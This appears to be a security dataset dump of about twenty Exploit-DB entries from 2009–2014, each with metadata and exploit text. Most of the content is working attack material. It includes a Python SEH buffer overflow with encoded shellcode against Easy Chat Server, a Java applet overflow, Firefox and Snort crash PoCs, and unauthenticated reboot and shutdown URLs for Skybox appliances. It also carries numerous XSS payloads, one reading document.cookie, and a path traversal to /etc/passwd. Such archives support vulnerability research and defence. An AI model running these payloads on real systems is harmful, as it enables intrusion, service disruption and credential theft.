QLWD/code_shield huggingface dataset:
标题: CuteNews 1.4.6 - 'index.php' Cross-Site Request Forgery (New User Creation) EDB-ID: 33344 CVE: 2009-4173 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/36971/info
    
CuteNews and UTF-8 CuteNews are prone to multiple vulnerabilities, including cross-site scripting, HTML-injection, information-disclosure, arbitrary-script-injection, and security-bypass issues.
    
Note that exploits for some of the issues may require administrator privilege.
    
Successful exploits may allow attackers to:
- obtain sensitive information
- gain unauthorized access to the affected application
- run arbitrary script code in the browser of an unsuspecting user in the context of the affected site
- hijack user sessions
- execute arbitrary commands in the context of the webserver process
    
A successful attack will compromise the application and may aid in further attacks. 

http://www.example.com/test/cutenews/index.php?mod=addnews&action=addnews URL: https://www.exploit-db.com/exploits/33344
标题: EFS Easy Chat Server 3.1 - Remote Stack Buffer Overflow EDB-ID: 33326 CVE: 2004-2466 类型: REMOTE 平台: WINDOWS 发布日期: 2014-05-12 漏洞利用脚本: ## Exploit-DB Note: The offset to SEH is influenced by the installation path of the program.
## For this specific exploit to work, easy chat must be installed to:
## 'C:\Program Files\EFS Software\Easy Chat Server'


# Exploit Title: Easy Chat Server 3.1 stack buffer overflow
# Date: 9 May 2014
# Exploit Author: superkojiman - http://www.techorganic.com
# Vendor Homepage: http://www.echatserver.com/
# Software Link: http://www.echatserver.com/
# Version: 3.1
# Tested on: Windows 7 Enterprise SP1, English
#
# Description: 
# A buffer overflow is triggered when when passing a long username.


import socket
import struct

# calc shellcode from https://code.google.com/p/win-exec-calc-shellcode/
# msfencode -b "\x00\x20" -i w32-exec-calc-shellcode.bin 
# [*] x86/shikata_ga_nai succeeded with size 101 (iteration=1)
shellcode = ( 
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +
"\x1c\x39\xbd"
)

# SEH overwritten at offset 207 when Easy Chat Server is  
# installed in C:\Program Files\EFS Software\Easy Chat Server
payload =  "A"*203
payload += "\xeb\x06\x90\x90"           # short jmp to shellcode
payload += "\x1e\x0e\x01\x10"           # pop/pop/ret @ 0x10010E1E SSLEAY32.DLL
payload += "\x81\xc4\xd8\xfe\xff\xff"   # add esp,-128
payload += shellcode                    # calc.exe
payload += "D"*193

buf = (
"GET /chat.ghp?username=" + payload + "&password=&room=1&sex=1 HTTP/1.1\r\n"
"User-Agent: Mozilla/4.0\r\n"
"Host: 192.168.1.136:80\r\n"
"Accept-Language: en-us\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"Referer: http://192.168.1.136\r\n"
"Connection: Keep-Alive\r\n\r\n"
)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.123.131", 80))
s.send(buf)
print s.recv(1024) URL: https://www.exploit-db.com/exploits/33326
标题: Mozilla Firefox 3.0.14 - Remote Memory Corruption EDB-ID: 33314 CVE: 2009-3382 类型: DOS 平台: LINUX 发布日期: 2009-10-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/36866/info

Mozilla Firefox is prone to a remote memory-corruption vulnerability.

Successful exploits may allow an attacker to execute arbitrary code in the context of the user running the affected application. Failed exploit attempts will result in a denial-of-service condition.

NOTE: This issue was previously covered in BID 36843 (Mozilla Firefox and SeaMonkey MFSA 2009-52 through -64 Multiple Vulnerabilities), but has been assigned its own record to better document it. 

<html><head><script> function doe2(i) { document.getElementById('a').setAttribute('style', 'display: -moz-box; '); document.getElementById('c').style.display= 'none'; } setTimeout(doe2,500,0); </script> <style> div::first-letter {float: right; } </style> </head> <body> <div style="width: 50px; -moz-column-count: 2;"> a <span style="display: table-cell;"></span><div style="display: -moz-box; font-size: 43px;"> <span id="a"> <span style="display: -moz-box;"> <span id="c">m</span> </span> </span> </div> </div> </body> </html> URL: https://www.exploit-db.com/exploits/33314
标题: Mozilla Firefox 3.5.3 / SeaMonkey 1.1.17 - 'libpr0n' .GIF Parser Heap Buffer Overflow EDB-ID: 33313 CVE: 2009-3373 类型: REMOTE 平台: LINUX 发布日期: 2009-10-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/36855/info

Mozilla Firefox and SeaMonkey are prone to a heap-based buffer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code and to cause denial-of-service conditions by tricking a victim into visiting a malicious webpage.

NOTE: This issue was previously covered in BID 36843 (Mozilla Firefox and SeaMonkey MFSA 2009-52 through -64 Multiple Vulnerabilities), but has been assigned its own record to better document it.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33313.tgz URL: https://www.exploit-db.com/exploits/33313
标题: Mozilla Firefox 3.5.3 - Floating Point Conversion Heap Overflow EDB-ID: 33312 CVE: 2009-0689 类型: DOS 平台: LINUX 发布日期: 2009-10-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/36851/info

Mozilla Firefox is prone to a heap-based buffer-overflow vulnerability.

An attacker can exploit this issue by tricking a victim into visiting a malicious webpage to execute arbitrary code and to cause denial-of-service conditions.

NOTE: This issue was previously covered in BID 36843 (Mozilla Firefox and SeaMonkey MFSA 2009-52 through -64 Multiple Vulnerabilities).

NOTE 2: This issue is related to BID 35510 (Multiple BSD Distributions 'gdtoa/misc.c' Memory Corruption Vulnerability), but because of differences in the code base, it is being assigned its own record.

<script>
var a=0.<?php echo str_repeat("1",296450); ?>;
</script> URL: https://www.exploit-db.com/exploits/33312
标题: Skybox Security 6.3.x < 6.4.x - Multiple Denial of Service Vulnerabilities EDB-ID: 33328 CVE: 2014-2085 2014-2084 类型: DOS 平台: HARDWARE 发布日期: 2014-05-12 漏洞利用脚本: # Exploit Title: [SKYBOX Security - DDOS]
 
# Date: [22-Jan-2014]
# Exploit Author: [Luigi Vezzoso]
# Vendor Homepage: [http://www.skyboxsecurity.com]
# Version: [Skybox View Appliances with ISO versions: 6.3.33-2.14, 
6.3.31-2.14, 6.4.42-2.54, 6.4.45-2.56, 6.4.46-2.57]
# Tested on: [Centos 6.4 kernel 2.6.32]
# CVE : [CVE-2014-2085]
 
#OVERVIEW
A vulnerability has been found in some Skybox View Appliances’ Admin 
interfaces which would allow a potential malicious party to bypass 
the authentication mechanism and execute reboot and/or shutdown of 
appliance self
 
#INTRODUCTION
Skybox Security has a complete portfolio of security management 
tools that deliver the security intelligence needed to act fast to 
minimize risks and eliminate attack vectors.  Based on a powerful 
risk analytics platform that links data from vulnerability scanners, 
threat intelligence feeds, firewalls and other network infrastructure 
devices – Skybox gives you context to prioritize risks accurately and 
automatically, in minutes.
 
#VULNERABILITY DESCRIPTION
It's possible to open and execute the reboot and shutdown script 
without autentication at the following links:
https://1.1.1.1:444/scripts/commands/reboot?_=1111111111
https://1.1.1.1:444/scripts/commands/shutdown?_=1111111111
#VERSIONS AFFECTED
Skybox View Appliances with ISO versions: 6.3.33-2.14, 6.3.31-2.14, 
6.4.42-2.54, 6.4.45-2.56, 6.4.46-2.57
 
#SOLUTION
Please refer to the vendor security advisor: Security Advisory 2014-
3-25-1
 
#CREDITS
Luigi Vezzoso 
email:  luigivezzoso@gmail.com
skype:  luigivezzoso URL: https://www.exploit-db.com/exploits/33328
标题: Skybox Security 6.3.x < 6.4.x - Multiple Information Disclosures EDB-ID: 33327 CVE: 2014-2084 类型: WEBAPPS 平台: HARDWARE 发布日期: 2014-05-12 漏洞利用脚本: # Exploit Title: [SKYBOX Security – Multiple 
Information Disclosure]
 
# Date: [22-Jan-2014]
# Exploit Author: [Luigi Vezzoso]
# Vendor Homepage: [http://www.skyboxsecurity.com]
# Version: [Skybox View Appliances with ISO versions: 6.3.33-2.14, 
6.3.31-2.14, 6.4.42-2.54, 6.4.45-2.56, 6.4.46-2.57]
# Tested on: [Centos 6.4 kernel 2.6.32]
# CVE : [CVE-2014-2084]
 
#OVERVIEW
A vulnerability has been found in some Skybox View Appliances’ Admin 
interfaces which would allow a potential malicious party to bypass 
the authentication mechanism and obtain read-only access to the 
appliance’s administrative menus. This would allow the malicious 
party to read system-related information such as interface names, IP 
addresses and the appliance status.
 
#INTRODUCTION
Skybox Security has a complete portfolio of security management 
tools that deliver the security intelligence needed to act fast to 
minimize risks and eliminate attack vectors.  Based on a powerful 
risk analytics platform that links data from vulnerability scanners, 
threat intelligence feeds, firewalls and other network infrastructure 
devices – Skybox gives you context to prioritize risks accurately and 
automatically, in minutes.  
 
#VULNERABILITY DESCRIPTION
It's possible to obtain useful information about the version and 
network configuration of skybox appliances bypassing the webui 
interface.
For the appliance system info open with a browser:
https://1.1.1.1:444/scripts/commands/getSystemInformation?_=111111111
For the appliance network info open with a browser:
https://1.1.1.1:444/scripts/commands/getNetworkConfigurationInfo
#VERSIONS AFFECTED
Skybox View Appliances with ISO versions: 6.3.33-2.14, 6.3.31-2.14, 
6.4.42-2.54, 6.4.45-2.56, 6.4.46-2.57
 
#SOLUTION
Please refer to the vendor security advisor: Security Advisory 2014-
3-25-1
 
#CREDITS
Luigi Vezzoso 
email:  luigivezzoso@gmail.com
skype:  luigivezzoso URL: https://www.exploit-db.com/exploits/33327
标题: TFTgallery 0.13 - 'sample' Cross-Site Scripting EDB-ID: 33320 CVE: 2009-3911 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/36898/info

TFTgallery is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects TFTgallery 0.13; other versions may be vulnerable as well. 

The following example URI is available:

http://www.example.com/tftgallery/settings.php?sample='></link><script>alert('blake XSS test')</script>&name=cucumber%20cool URL: https://www.exploit-db.com/exploits/33320
标题: Sun Java SE November 2009 - Multiple Vulnerabilities (1) EDB-ID: 33315 CVE: 2009-3867 类型: REMOTE 平台: LINUX 发布日期: 2009-10-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/36881/info

Sun has released updates to address multiple security vulnerabilities in Java SE.

Successful exploits may allow attackers to bypass certain security restrictions, run untrusted applets with elevated privileges, execute arbitrary code, and cause denial-of-service conditions. Other attacks are also possible.

These issues are addressed in the following releases:

JDK and JRE 6 Update 17
JDK and JRE 5.0 Update 22
SDK and JRE 1.4.2_24
SDK and JRE 1.3.1_27 

import java.awt.Graphics;
public class test extends java.applet.Applet {
        public static Synthesizer synth;
        Soundbank soundbank;

     public void init() 
 {
  String fName = ""; 
  if(isWindows()){
   System.out.println("This is Windows");
   fName = repeat('/',302);
  }else if(isMac()){
   System.out.println("This is Mac");
   fName = repeat('/',1118); // OSX Snow Leopard
  }else if(isUnix()){
   System.out.println("This is Unix or Linux, no current test case");
  }else{
   System.out.println("Your OS is not supported!!");
  }
 
  CharArrayWriter pw = new CharArrayWriter(10);  
//  int retaddr[] = { 0x0d, 0x0d, 0x0d, 0x0d }; 
  int retaddr[] = { 0x41, 0x42, 0x43, 0x44, 0x30, 0x31, 0x32, 0x33, 0x0d, 0x0d, 0x0d, 0x0d }; 
  int retlen = java.lang.reflect.Array.getLength(retaddr);

  for(int x = 0; x < retlen; x++)
  {
   pw.write(retaddr[x]);
   pw.flush();
  }

   pw.close();
  String mal = pw.toString();  
  
    fName = "file://" + fName + mal;
                try
  {
                        synth = MidiSystem.getSynthesizer();
                        synth.open();
                        synth.loadAllInstruments(MidiSystem.getSoundbank(new URL(fName)));
                }
                catch(Exception e)
  {
   System.out.println(e);
                }
     }
     public void paint(Graphics g) 
 {
  g.drawString("Hello world!", 50, 25);
     }
 public static String repeat(char c,int i)
 {
         String tst = "";
          for(int j = 0; j < i; j++)
          {
           tst = tst+c;
          }
         return tst;
 }

 public static boolean isWindows(){
 
  String os = System.getProperty("os.name").toLowerCase();
  //windows
     return (os.indexOf( "win" ) >= 0); 
 
 }
 
 public static boolean isMac(){
 
  String os = System.getProperty("os.name").toLowerCase();
  //Mac
     return (os.indexOf( "mac" ) >= 0); 
 
 }
 
 public static boolean isUnix(){
 
  String os = System.getProperty("os.name").toLowerCase();
  //linux or unix
     return (os.indexOf( "nix") >=0 || os.indexOf( "nux") >=0);
 
 }
} URL: https://www.exploit-db.com/exploits/33315
标题: Snort 2.8.5 - Multiple Denial of Service Vulnerabilities EDB-ID: 33306 CVE: 2009-3641 类型: DOS 平台: LINUX 发布日期: 2009-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/36795/info

Snort is prone to multiple denial-of-service vulnerabilities because the application fails to properly process specially crafted IPv6 packets.

Attackers can exploit these issues to crash the affected application, causing denial-of-service conditions.

These issues affect Snort 2.8.5; other versions may also be vulnerable.

You can reproduce theses two differents bugs easily by using the Python low-level networking lib Scapy
(http://www.secdev.org/projects/scapy/files/scapy-latest.zip)

1) #only works on x86

#/usr/bin/env python
from scapy.all import *
u = "\x92"+"\x02" * 6
send(IPv6(dst="IPv6_addr_here", nh=6)/u) #nh6 -> TCP

2) # works x86,x64

#/usr/bin/env python
from scapy.all import *

z = "Q" * 30
send(IPv6(dst="IPv6_ADDR_HERE",nh=1)/ICMPv6NIQueryNOOP(type=4)/z) #nh1 -> icmp (not v6) URL: https://www.exploit-db.com/exploits/33306
标题: OpenDocMan 1.2.5 - 'search.php' Cross-Site Scripting EDB-ID: 33303 CVE: 2009-3789 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/36777/info
        
OpenDocMan is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
        
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
        
OpenDocMan 1.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/opendocman/search.php/"><script>alert(1)</script> URL: https://www.exploit-db.com/exploits/33303
标题: OpenDocMan 1.2.5 - 'view_file.php' Cross-Site Scripting EDB-ID: 33305 CVE: 2009-3789 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/36777/info
          
OpenDocMan is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
          
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
          
OpenDocMan 1.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/opendocman/view_file.php/"><script>alert(1)</script><"?aku=aWQ9NiZzdGF0ZT0z URL: https://www.exploit-db.com/exploits/33305
标题: OpenDocMan 1.2.5 - 'profile.php' Cross-Site Scripting EDB-ID: 33301 CVE: 2009-3789 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/36777/info
      
OpenDocMan is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
      
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
      
OpenDocMan 1.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/opendocman/profile.php/"><script>alert(1)</script> URL: https://www.exploit-db.com/exploits/33301
标题: OpenDocMan 1.2.5 - 'rejects.php' Cross-Site Scripting EDB-ID: 33302 CVE: 2009-3789 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/36777/info
       
OpenDocMan is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
       
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
       
OpenDocMan 1.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/opendocman/rejects.php/"><script>alert(1)</script> URL: https://www.exploit-db.com/exploits/33302
标题: OpenDocMan 1.2.5 - 'user.php' Cross-Site Scripting EDB-ID: 33304 CVE: 2009-3789 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/36777/info
         
OpenDocMan is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
         
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
         
OpenDocMan 1.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/opendocman/user.php/"><script>alert(1)</script><"?aku=c3VibWl0PXNob3dwaWNrJnN0YXRlPTI=
http://www.example.com/opendocman/user.php?submit=Modify+User&item=2&caller=/opendocman/"><script>alert(123)</script><" URL: https://www.exploit-db.com/exploits/33304
标题: OpenDocMan 1.2.5 - 'category.php' Cross-Site Scripting EDB-ID: 33299 CVE: 2009-3789 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/36777/info
    
OpenDocMan is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
    
OpenDocMan 1.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/opendocman/category.php/"><script>alert(1)</script><"?aku=c3VibWl0PWFkZCZzdGF0ZT0y URL: https://www.exploit-db.com/exploits/33299
标题: OpenDocMan 1.2.5 - 'index.php?last_message' Cross-Site Scripting EDB-ID: 33297 CVE: 2009-3789 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/36777/info
  
OpenDocMan is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
OpenDocMan 1.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/opendocman/index.php?last_message=<script>alert(1)</script> URL: https://www.exploit-db.com/exploits/33297
标题: TFTgallery 0.13 - 'album' Cross-Site Scripting EDB-ID: 33309 CVE: 2009-3833 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/36833/info

TFTgallery is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects TFTgallery 0.13; other versions may be vulnerable as well.

http://www.example.com/tftgallery/index.php?page=1&album= <script>document.write(document.cookie)</script> URL: https://www.exploit-db.com/exploits/33309
标题: OpenDocMan 1.2.5 - 'admin.php?last_message' Cross-Site Scripting EDB-ID: 33298 CVE: 2009-3789 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/36777/info
   
OpenDocMan is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
OpenDocMan 1.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/opendocman/admin.php?last_message=<script>alert(1)</script> URL: https://www.exploit-db.com/exploits/33298
标题: OpenDocMan 1.2.5 - 'department.php' Cross-Site Scripting EDB-ID: 33300 CVE: 2009-3789 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/36777/info
     
OpenDocMan is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
     
OpenDocMan 1.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/opendocman/department.php/"><script>alert(1)</script><"?aku=c3VibWl0PXNob3dwaWNrJnN0YXRlPTI= URL: https://www.exploit-db.com/exploits/33300
标题: Sahana 0.6.2 - 'mod' Local File Disclosure EDB-ID: 33308 CVE: 2009-3625 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/36826/info

Sahana is prone to a local file-disclosure vulnerability because it fails to adequately validate user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks.

Sahana 0.6.2.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?stream=text&mod=/../../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/33308
标题: OpenDocMan 1.2.5 - 'toBePublished.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 33296 CVE: 2009-3789 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/36777/info
 
OpenDocMan is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
OpenDocMan 1.2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/opendocman/toBePublished.php/"><script>alert(1)</script>
http://www.example.com/opendocman/toBePublished.php?last_message=<script>alert(1)</script> URL: https://www.exploit-db.com/exploits/33296